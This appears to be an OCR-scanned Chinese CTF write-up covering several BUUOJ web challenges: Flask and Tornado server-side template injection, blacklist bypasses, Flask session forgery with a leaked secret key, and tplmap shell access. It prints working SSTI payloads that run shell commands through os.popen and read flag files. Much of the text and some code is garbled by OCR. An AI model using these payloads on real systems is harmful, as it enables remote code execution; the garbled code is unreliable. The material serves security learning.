W O=gx D&z DEtE NRE (Jestees QOus Jrr B 8 UEEs v TEsfE @ HackBar

Encryption ~ Encoding~ SQL~ XSS~ LFI~ XXE~ Other~

@ Load URL http://32c2f39b-a362-403c-ad0b-b37c7236beb6.node4.buuoj.cn:81/

%smum

E t
& Postdata [] Referer [] User Agent [] Cookies Clear All
ADD "™
name={%print lipsum.__globals__ [ bui'+ltins__"]['__im'+'port__")('0o'+'s")['po'+'pen’]('cat /flag_1s_Hera").read()%}

Bk

VRS0 R

blacklist = ['import', 'getattr', 'os', 'class', 'subclasses', 'mro', 'request', 'args', ‘'eval', 'if', 'for
' subprocess', 'file', 'open', ‘'popen', ‘'builtins', ‘compile', 'execfile', 'from_pyfile',
'self', 'item', 'getitem', 'getattribute', 'func_globals', 'config'];
for no in blacklist:
while True:
if no in s:
s = s.replace(no, '")
else:

break

return s

SRR BB — NP B S RS IR E AT T AN PR BRI, HRXERANERLERSEN, H2
XA IEHZERE IR, TR MG R TR IR -

{%print lipsum.__globals__ ._ builconfigtins__.__impoconfigrt__ ('oconfigs').poconfigpen('whoami').read()%}

B AconfigFMFHRERZENRE I, FrUBRLEPEEFAFERTREBOLERT, Hi#iTcontigh
¥, HESETconfigZ JE4 &M RA BRI KT, B USSR,

E=Fh5E, ANHprint, 3 Hcurl 4



{% iconfigf ''.__claconfigss__._mrconfigo_ [2]._ subclaconfigsses__ ()[59].__init__ .func_gloconfigbals.line

vps ¥ Wt 2333 [ B AI
[CISCN2019 & ¥t 3£ Day1 Web3]Flask Message Board

Fuzz7 —¥, RIUXELRMAMG AR AGES, HRTitle. Authorficontent BEHBAL+1HAE,
FHFEERZruthorBINE

MABATZR—T, iktitleFMcontent EKIN A A1+1, Authorfiy i FATFE EHIME
Title
1+1

Author

{{config}}

Content

1+1

~1'rh Sakura®

NoCaptcha™* bot checking model



Info

<Config {'ENV":

‘production’, ' DEBUG':

False, "TESTING':

False,

'PROPAGATE EXCEPTIONS"

None,

'PRESERVE CONTEXT ON_ EXCEPTION':
None, 'SECRET KEY":

SaGIAIT | |iaa |3 T3 4] | I ITTaIT0,
'PERMANENT SESSION LIFETIME"
datetime.timedelta(31),

'USE_X SENDFILE'":

False,

'SERVER _NAME':

None,

'APPLICATION_ROOT":

T/l}
'SESSION_COOKIE _NAME'

CSDN @SakuradTY

BATRI T —NMF IR

"SECRET_KEY': 'il1|111|IT1I11T|I1i|IiliITli]|i1|1][i1il"

BT EABATAT LRy iEsession
BRNMIMTBEE

Cookie: UM distinctid=17ed703d4bbb3d-089t7f429c¢8009-4c3f217f-144000-17ed703d4bca34; session=
evJhZGlpbiI6ZmFsc2Us ImbhbWUiO1J7e2NvbmZpZ319In0. YhnhTg. ZI14MoncDosKydvmoMYXTgJiQaVE

*tseesionfi %

{"admin":false,"name":"{{config}}In0.b0aTg.dOM¢wO¢A2vi 10000 0aVE

KB “admin”:false J5 il Eh & admin

1% Fflask-unsign



[root@han software]# flask-unsign --sign --cookie "{"admin’: True}" --secret "il11|111|IT1T11T|T1i|TiliTTli||i1|1||i1il"™

eyJhZG1pbiI6dH117X0.Yhsggg . yS737-muwEYpb-J9ygN3QLBtVPE

EZh 5 il /admin

A Flask Message Board

Settings
Site title

A Flask Message Board

Site deseription

Just leave what you want to say.

Update bot checker model

P | AT,

{footer class="blog—footer”>
{!—<a href="/admin/source thanos >Open Source</a>—><{p>&copy: Sakura</p>

{/footer>
{!=— Todo: add /admin/model download button —~
{!—— Bootstrap core JavaScript

BT



: 5] model.zip (FGRESS) — O b
MR wE(C) TE(S) WEEIE(0) EI(N) FEEI(H)

B E0Ome ® 0 8 =
iiil=3 = 51

Aein o BEEEl =5 B8 | gEmsE EE agEEsEd |

model.zip - ZIP E45324t, BBaH/NA 6,975 FF 9 |
EFR - Fouh EREEA 2E ERRTE] CRC32
! .
| | detection.data-0000... 18 18 DATA-00000-0OF-... 2019-07-261... D2E716CO
D detection.index 141 141 INDEX 324&% 2019-07-261... 20C27DF8
D detection.meta 6,816 6,816 META & 2019-07-261... EC7CO99E
- St 3 30, 6,975 315

VRS RFENL R — 87, HERFEMERE, BEHARRE:

#uofskimprtlask lah, e _iliporranoomdatmtatimmozpiliapaFsk ne apseet e="jin(o.h1l|"riinge()prtapscret yfroflaspresps!simp e uesesonoimo tirecuror,
a jiaofaimporndrmpltstngrmdatimrttatsoedt til"AlaksaeBar"siescition=Jsaewhtyouatosf/o pirteorfowtfrtensrlowthnimoraptnrowdnitl th:*'Thsmodei
givhafaock!nssfSeso(tailod _t+"ea"model=moeatsavefrimporap (etae)srestr(nwses, m)nnefrew(es,_):.)trninimo _pdepcssx’'ramutnurx:tenso fl wssio ret rn
b'Yuae*™ ess.g.ge_ tnobyame('yOy ou=ses,{x:})enyttfpath ="tfdtimeletetionesit pahtfndec(pst:r=prdtssm(m (ordiu_t))etrniinstn (rstr) dec de() ren em late( le
me, :wtpeaejap.tea fdrfiname)econg=1f8)fitat=rame=esiont'nme’,'nnyus):#oelletdreeereefction#ut'jtamlaiPHP!rrnertmpl_rin#tmplteac' mmeee' nme
#.orple(t_srip't_scpn)#.replac($t titese it,*rstnrpetrn(tmp.repae'$eebe_nae),e scip=sit dctite=it_t,*as)ot( )efinde): gstsresesi[a’'=s.tdn"aeiot
storage) ststap ststorge -2rmnndermpt(ihl, postst trge) @ poutetetod =[PT)efd _ot(:iereuesfomgt'ttl'til'conte =equsfm.ct''[nontnt’)namrqgetfr.e('thnyos:10]
try: ch _esuhk_t(conten ot h ck_esul .e i h('Hu ) reje t cause % o hac " % (ck_)ured'") pos staapped(it"il,'centnt '‘athr:ne, 'de"datetm.w.trfe(%B, % X") eio ['nam ' n exc cepti s fl (
Soigwog,onactami'rtunrit' ppt'dminmedownad)demewnld():'oadurentmelfsion.e’adn'T:t:ipl.Ze"epzip"w)a:fri[ectie tectione, et.aa000-f0017]rit’ f/de ec
o _dl/earcn=)rn ftep.ip"aatacenTreatacmen flame="odlzip)xcpcpaseflht(e)rturnreict/din)eurnadsinca/" @appou('misue’)#eeboyneoordfsoe(:ruropena
ppy hci=utf8' rd)@arout'/dmi/ourcethoefgtouc broen()''Thanosenlrrrecd[adcolcthifnioeain[2HeshetcreateheniuteakihiothnadstlinghsntheureehisleoDt
."=ope'py,cdf8)d(=[tifae()lllis(rangle () nsuffle)rilen(//:ifttfil!="n"tli=""rrn"n(t)

CSDN @SakuraHTY

import requests
url = '"http://8567734a-8c12-4f70-bfee-6f10e978f956.node3.buuoj.cn/admin/source_thanos'
r = requests.get(url)
source = r.text
for j in range(10):

r = requests.get(url)

for i in range(len(source)):

if source[i].isspace():
source = source[:i] + r.text[i] + source[i+l:]

print(source)

& Ftensorflowf 5%

KT f#tensorflow, & H HFTwp:



@it tensorflowiz 17 F LR,

123
456
789
10 11
12

import tensorflow as tf # Tensorboardh[#4t. def init (model . path) : new _sess = tf.Session() meta file
= model path + ".meta" model = model path saver = tf.train.import meta graph (meta file)
saver.restore (new_sess, model) return new sess sess = init(’detection_model/detection’) writer =

tf.summary.FileWriter ("./log", sess.graph) # #R)57Ef4 T PAT tensorboard --logdir ./log

FEXT N O BEE BN, RKIABMAK TR 8B PR B 10240 2l &7 58/ f1agiIETT, BRI B B A

) R 4
il

12314
5678
9 10 11
12 13
14 15
16

def predict(sess, x): ''' :param x: input number x sess: tensorflow session :return: b'You are: *'
''' y = sess.graph.get tensor by name("y:0") y out = sess.run(y, {"x:0": x}) return y out def
check bot (input str): r = predict(sess, sum(map(ord, input str))) return r if isinstance(r, str)
else r.decode() # check result = check bot(content) # check_botEﬁRﬂﬂTﬁ)\*Eﬁ'&mViﬁ, Bk R
A NHE T DAk % 32 R flag i )5 1] -

XERE R F RSB ACIASCIRS R 5 R AME A, FERXEZCN1024, T REE—AASCIFLER
1024 775 & B B x:

aaaaaabxCZC

Title
1+1

Author

1+1

Content

aaaaaabxCZ

| submit R

¢ reject because You are:
flag{oe2d6obd-
10329-4647-8ffc-
fa2cailof7be8} or hacker

[#* M 2018]easy_tornado



Error

O O=sE Oeaa OEste NmE (Iatmes QOue Ors B 8 uEes 1 oEsiE @ HackBar

Encryption + Encoding~ SQL~ XSS~ LFI~ XXE~ Other~

e Load URL http://f9bce56c-7ea3-4a3e-8cle-48df6af87351.node4. buuoj.cn:81/file?filename=/flag.txt&filehash=1dae92498a2bf5a48018070ecce8d627II

L3 4 Fifilehash AN ILHE, 24

http://f9bce56c-7ea3-4a3e-8c9e-48df6af87351.node4.buuoj.cn:81/error?msg=Error

FFilmsgrl %, MlixtornadoEiRkiEA

ORZ

D O=sz Osa OEE NRs (reEs Qum One D 8 umes § eshs @

Encryption ~ Encoding~ SQL~ XSS~ LFl~ XXE~ Other~

4 Load URL http://f9bceb56c-7ea3-4a3e-8c9e-48df6af87351.node4 . buuoj.cn:81/error?msg={{6"6}}

¥ T orz? ?
B REEERIE

fEtornadotitk 1, FFAE LT PAVG M BHERENT %, Ll { {escape (handler.settings["cookie"]) }},
XANHSEHtZhandler.settingsXt &, HHfFM#E —WUHREE, BESITIESR (python SSTI tornado render
BARIEND


https://www.cnblogs.com/cimuhuashuimu/p/11544455.html

{"autoreload': True, 'compiled_template_cache": False, 'cookie_secret': '585377a3-0f63-4b12-
be04-4f8e31a2cfab'}

& O =s%

Encryption ~

@ Load URL

i @i 1121

Dess OEiE NRs (deResr Qe e ek

32 WAHER SRS @ HackBar

XSS~ LFl~ XXE~ Other~

http:/f9bce56c-7ea3-4a3e-8c9e-48df6af87351.noded.buuoj.cn:81/error?msg={{handler.settings}}

BB H R T cookie_secret

Al LA#EE Hi filehash B

/Alliag

/hints.txt
md5(cookie secret+md5(filename))

/flag.txt
flag in /fllllNIIag

flag{1a6a7d42-753f-402a-b904-6a0d67787901}
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Encryption ~
& Load URL

Q‘L Split URL

») Execute

e OREtE NRE (aeEs Qus 0w B & 35 uEEs | SEERE @ HackBar

XSS~ LFI~ XXE~ Other~

http://f9bce56c-7ea3-4a3e-8c9e-48di6af87351.node4. buuoj.cn:81/file?filename=AlllllllNlag&filehash=6f7c7cc002013a0ea4d0dif746fcc632]

71 Pnat data 1 Refarar [ lleer Anent 1 Cnnkies Clear All

[CISCN2019 #: %< F§ 3% X ]Double Secret

Welcome To Find Secret

HERAFXA, B HZF xx/secret

< C @

© & 0e00c3f3-152a-4164-a1ff-93689d01bcd9.noded. buuoj.cn:81/secret

e
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Tell me your secret.| will encrypt it so others can't see



WA S Hisecret
[SEREE TP

<« Cc @ © & 0e00c3f3-152a-4164-a1ff-93689d01bcd9.noded.buuoj.cn:81/secret?secret=6666666666 3

Fgithub POt [ IEM: F¥9%a D sIms s RE [ Tems [ ERsSsE @i BCr B iess AEs eEssesE Bz

UnicodeDecodeError

UnicodeDecodeError: 'ascii’ codec can’t decode byte Oxfc in position 4: ordinal not in range(128)

Traceback (most recent call last)

File "/usr/local/lib/python2.7 /site-packages/flask/app.py”, line 2309, in __call__

return self.wsgi app(environ, start response)
e, FERITHER

File "/app/app.py”, line 35, in secret
if(secret==None):
return 'Tell me your secret.I will encrypt it so others can\'t see’
rc=rc4 Modified.RCA("HereIsTreasure")  #f#%
deS=rc.do _crypt(secret)

a=render template string(safe(deS))

if 'ciscn' in a.lower():
return 'flag detected!’

return a

RIL XN KA AT rodfif &

B—ANRCAIN i 4



import base64
from urllib.parse import quote
def rc4_main(key = "init_key", message = "init_message"):
# print("RCAINZE ERH")
s_box = rc4_init_sbox(key)
crypt = str(rc4_excrypt(message, s_box))
return crypt
def rc4_init_sbox(key):
s_box = list(range(256)) # HiXBEEREMHANTF256001E M, T 256 M EFHE R
# print("JFERK s &: %s" % s_box)
j=20
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
# print("RELEM s &: %s"% s_box)
return s_box
def rc4_excrypt(plain, box):
# print("EANERFRD. ")

res = []

i=j=20

for s in plain:
i=(i+1) %256
j = (j + box[i]) % 256

box[i], box[j] = box[j], box[i]

t = (box[i] + box[j]) % 256

k = box[t]

res.append(chr(ord(s) * k))
# print("resHFTMEZRFE, MESL: %res" %res)
cipher = "".join(res)

print("MMEFMHEFER: %s" %quote(cipher))

#print ("IN G BE (S mG) ")

#print(str(base64.bb64encode(cipher.encode('utf-8')), 'utf-8"))

return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8"))
rc4_main("HereIsTreasure","{{''.__class__. mro__._ getitem_(2)._ subclasses_ ().pop(40)('/flag.txt"').read

A 1§ payload:

< %1A%1EX%12%C3%A484mg%C2%9CHhC3%8B%OO%C2%81%C2%8D%C2%BB%C2%97%OB%C2%IEF%3B%C2%88mAkC2%AEMS%C2%96%3D%C2%9D%5B%C

‘class’ is not allowed. Secret is flag{04b363df-a24d-4ec7-8671-21c3f60162d5}

[RootersCTF2019]l_<3_Flask i nameix A
R



Flask  Home

| ® Flask & Flask

BARERWRANE, FEAEHAH.

~
<html>
<head>
<!-— "Metadata. The story behind the data” ~ Elliot Alderson —=>
<meta charset="UTF-8">
<meta name="viewport” content="width=device-width, initial-scale=1, shrink-to—fit=no”>
<meta name="mobile-web—app-capable” content="yes”>
<{meta http-equiv="X-UA-Compatible” content="ie=edge”>
<meta property="og:type” content="website”>
{!— Bootstrap CSS —
¢link rel="stylesheet” href="https://stackpath. bootstrapcdn. com/bootstrap/4. 3. 1/css/bootstrap. min. css”
integrity="sha384-gg0yROiXCbMQv3Xipma34MD+dH/1£Q784/ j6cY/1JTQUORCWrTx9JvoRxT2MZw1T” crossorigin="anonymous”>
{!== Font Awesome —>
<link rel="stylesheet” href="https://use. fontawesome. com/releases/v5. 6. 3/css/all. css”>
<!— local ess —>
<link rel="stylesheet” type="text/css” href="/static/main.css” />
(I— Title
<title>I &hes Flask</title>
</head>
<{body>
<!— Header —>
<header class="site—header”> |
<nav class="navbar navbar—expand-md navbar—dark bg-steel fixed-top”>
<div class="container”>
<a class="navbar-brand mr-4” href="/">I &hearts; Flask<{/a>
<div class="collapse navbar—-collapse” id="navbarToggle”>
{div class="navbar-nav mr-auto”»
{a class="nav-item nav-link” href="/">Home</a>
divw
</div>
</divd
</nav>
</header>
{!— Main —> hd

dirsearch/®# —TF, H4AH&EH.

html, htm, j json HITP method




FiRflaskKBE, ctffEE AN EMERBERIEN, FIURMNBFEIRAEASH, AMHFEFSEE, TEREA]
HoEE.

TAVX B R Marjun TE#TRBM . THEE:

CA\Windows\system32\cmd.exe — O X

R AT R RS Hiname..

# b8efac5f-f8bd-40de-acd4-c17dec6fb0d6.noded.buuoj.cn:81/?name={{6

| @ Flask 8 36

WRT — TR EBRRIEN .
PR IRTR AR A o
JRRA A

T Etplmap

lmap—maste



https://github.com/s0md3v/Arjun

GET parameter: name
Engine: JinjaZ2
Injection: 4
Context: text

0S: posix—linux
Technique: render
Capabilities:

Shell command execution: ok

Bind and reverse shell: ok

File write: ok

File read: ok

Code evaluation: ok, python code

Rerun tplmap providing one of the following options:

—os—shell Run shell on the target

—os—cmd Execute shell commands

—bind-shell PORT Connect to a shell bind to a target port
—reverse—shell HOST PORT Send a shell back to the attacker s port
—upload LOCAL REMOTE Upload files to the server

—download REMOTE LOCAL Download remote files

E: \sakuraff] T- B 5 \JeiFF] H \ B E A\ tplmap-master

BT, RIAJinja2tEtk, fEcti@l B & %52
H#—os-shellZ Tshell, iEHflag

tplmap - python2 tplmap.py -u http://bBefd4c5f-fBbd-40de-acd4-c17dec6fb0d6.noded.buuoj.cn:81/7name=1 --os-shell

GET parameter: name
Engine: Jinja2
Injection: {{*}}
Context: text

0S: posix—linux
Technique: render
Capabilities:

Shell command execution: ok

Bind and reverse shell: ok

File write: ok

File read: ok

Code evaluation: ok, python code

[+] Run commands on the operating system.
posix—linux $ whoami
ication. py
requirements. txt
static
templates
posizx—linux § cat flag, txt
posix—linux $§ cat flag. txt

flag{5105109a-5161-49f2-82f0-21babf517887}
posix—linux § o

FILFH
RETRIARAT, AR TRITESRS), RHEZEE TR, FrilnmFEbRFEEER,
BN SERXRE, RARESHE, SHECERREHBIRK.

H 54 LA L BUE A ipayload

http://b8ef4c5f-f8bd-40de-acd4-cl7dec6fbOd6.noded.buuoj.cn:81/?name={% for c in ().__class_ . _base_ ._sub



https://sakurahack-y.github.io/2021/10/15/ssti-flak%25E6%25A1%2586%25E6%259E%25B6/

| ®Flask  Home

1 @ Flask & flask_lover

O Qs Orea DEste NEs (Qetmis Que Owne B ek

8 mEEs T TEERE @ Hacksar

Encryption ~ Encoding~ SQL~ XSS~ LFI~ XXE~ Other~

[CoiEAAVIN= BT
g Load URL

% if c.__name =='catch wamings' %

gg Split URL
») Execute

[ Postdata [ Referer [J User Agent [ Cookies Clear All
ADD "I

http://b8ef4c5f-f8bd-40de-acd4-cl7dec6fbOd6.noded.buuoj.cn:81/?name={% for ¢ in []._ class__._ base_ .

__sub
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init_ ._ globals__ .values() %}
{% if b.__class__ == {}._ class__ %}

{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("whoami").read()") }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

| ® Flask  Home

| ® Flask & flask_lover

N O=ss Dreas Odde NRE OarteEs Qo O B=e 8 wEss T oesks @ HackBar

Encryption v Encoding~ SQL~ XSS~ LFlI~ XXE~ Other~

[SREN]
g Load URL http://b8ef4c5f-f8bd-40de-acd4-c17dec6fb0d6.node4.buuoj.cn:81/?name={% forcin[].__class__._ base_ . subclasses__ () %}
{% if c.__name__ == 'catch_warnings' %}

)

§ spituRL {%forbinc._init_._globals_values() %}
Execut
v e [J Postdata [ Referer [ User Agent [] Cookies Clear All
ADD "

CSDN @SakuraHTY

RIEBRATHE H—VF B S 4 >k — A payload, HiZHt & F3R AT FIH K.
1. Hpopen()Hi



os._wrap_close
payload:
{{""._class__._ bases_ [0]._subclasses_ ()[128].__init__. globals_ ['popen']('whoami').read()}}

2. HosEHK

socket._socketobject (—#&7E71) . site. Printer& &k

payload:
{{[].__class__._ bases_ [0].__subclasses_ ()[71].__init__._globals_ ['os'].popen(cat /xxx/flag)}}

3. FHbuiltinskj
__builtins __fASHAT (EHEHRIITE)
warnings.catch_warnings#& A, % F {13 email.header._ValueFormatter

__builtins __ 22— MEET KENBRE—AMEE, BRATFEE Hpythonf i 2 BT CART PAE 848 F — SR 3
tbfmabs, max, BtREA_ builtins _ XBHHAIEPython/Z s ARATRAN T, LM MHdir(__ builtins )3k
BEERAFERNHIR, RETLUEB_ builtins _ FHeval, _ import _ R %, F ] LRI R $AT 6y

2

5T, BTREATER
BATERE T RI R

| @ Flask Home

| ® Flask & [<class ‘type'>, <class 'weakref'>, <class ‘weakcallableproxy'>, <class ‘weakproxy'>,
<class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class
‘NotimplementedType'>, <class ‘traceback’>, <class 'super'>, <class 'range'>, <class 'dict'>,
<class 'dict_keys'>, <class 'dict_values'>, <class ‘dict_items'>, <class 'dict_reversekeyiterator'>,
<class 'dict_reversevalueiterator' >, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>,
<class 'set'>, <class 'str'>, <class ‘slice’>, <class ‘staticmethod'>, <class ‘complex’>, <class
‘float'>, <class ‘frozenset'>, <class 'property’>, <class ‘'managedbuffer'>, <class 'memoryview'>,
<class "tuple’>, <class ‘'enumerate’>, <class ‘reversed'>, <class ‘stderrprinter'>, <class ‘code’>,
<class 'frame'>, <class 'builtin_function_or method'>, <class 'method'>, <class 'function'>,
<class 'mappingproxy'>, <class ‘generator' >, <class 'getset_descriptor'>, <class
‘wrapper_descriptor'>, <class 'method-wrapper'>, <class ‘ellipsis'>, <class 'member_descriptor'>,
<class 'types.SimpleNamespace'>, <class 'PyCapsule’>, <class ‘longrange_iterator'>, <class
‘cell'>, <class 'instancemethod'>, <class ‘classmethod_descriptor'>, <class ‘'method_descriptor'>,

D O Desa DEss NRE (etsms O Onr B ek 3 O8Es f AEeRs @ Hackar

Encryption ~ Encoding~ SQL~ XSS~ LFl~ XXE~ Other ~
i Load URL http://bBef4c5f-f8bd-40de-acd4-c17dec6b0d6.node4.buuoj.cn:81/2name={{().__class_ . _bases_ [0].__subclasses_ ()}

I Split URL i }
y“ CSDN @SakuraHTY

FHRIKERTIRZM, BATATERBBRMNFZRBML, BATHpythonlAH—T



import json
a = "uw
<class 'type'>,...,<class 'subprocess.Popen'>

num = @
alllist = []
result = ""
for i in a:
if i == ">":
result += i
alllList.append(result)
result = ""
elif i == "\n" or i == ",":
continue
else:

result += i
for k,v in enumerate(alllList):

if "os._wrap_close" in v:
print(str(k)+"--->"+v)

B A%k, Fos._wrap_close

finished with exit code

S& R THE1326L, A FATH AT LA & — A payload

{{"".__class__. bases_ [@]._ subclasses_ ()[132].__init_ . globals_ ['popen']('whoami').read()}}

AR A — T R BT A

| ® Flask & application.py flag.txt requirements.txt static templates

v

™ O === pHle OEdE NRse (ateEs Qs Ors B =i 88 UBEy W TESE @ Hacksar
Encryption ~ Encoding~ SQL~ XSS~ LFI~ XXE~ Other~
4@ Load URL http://b8ef4c5f-fBhd-40de-acd4-¢17dec6b0d6.noded.buuoj.cn:81/name={".__class . bases_ [0]. subclasses_ ()[132]._init_. globals_ ['popen](lsl).read()}}
gn Split URL
» ) Execute

[ Postdata [] Referer [] User Agent [] Cookies Clear All
ADD " CSDN @SakurarTY



FRIhFIH R T 0.
H#ixEflag

| ® Flask & flag{5105109a-5161-49f2-82f0-21babf517887}

v

® O=Es Do OEse NRE (s Que One O &k 3 UHEs TSRS @ Hacksar

Encryption v Encoding~ SQL~ XSS~ LFlv XXE~ Other~ CRMEARS: i1r.
@ Load URL http://b8ef4c5i-f8bd-40de-acd4-c17dectb0d6.node4. buuoj.cn:81/?name={{""._ class__ . bases_ [0]._ subclasses_ ()[132].__init_._ globals_ [‘popen’](‘cat flag.txt').read()}}|
gn Split URL
») Execute

[ Postdata [] Referer [] User Agent [ Cookies Clear All
ADD"F"

[FIEE, WT LRI R SRIEH 1R 2 W,

\projec cripts\python.exe F:/pro

<class 'warnings.catch_warnings

finished with exit code 0O

BN RBERTEEE, BAIFEELHHERIKEag.
TiEARE, HERREFEREL A UM R,
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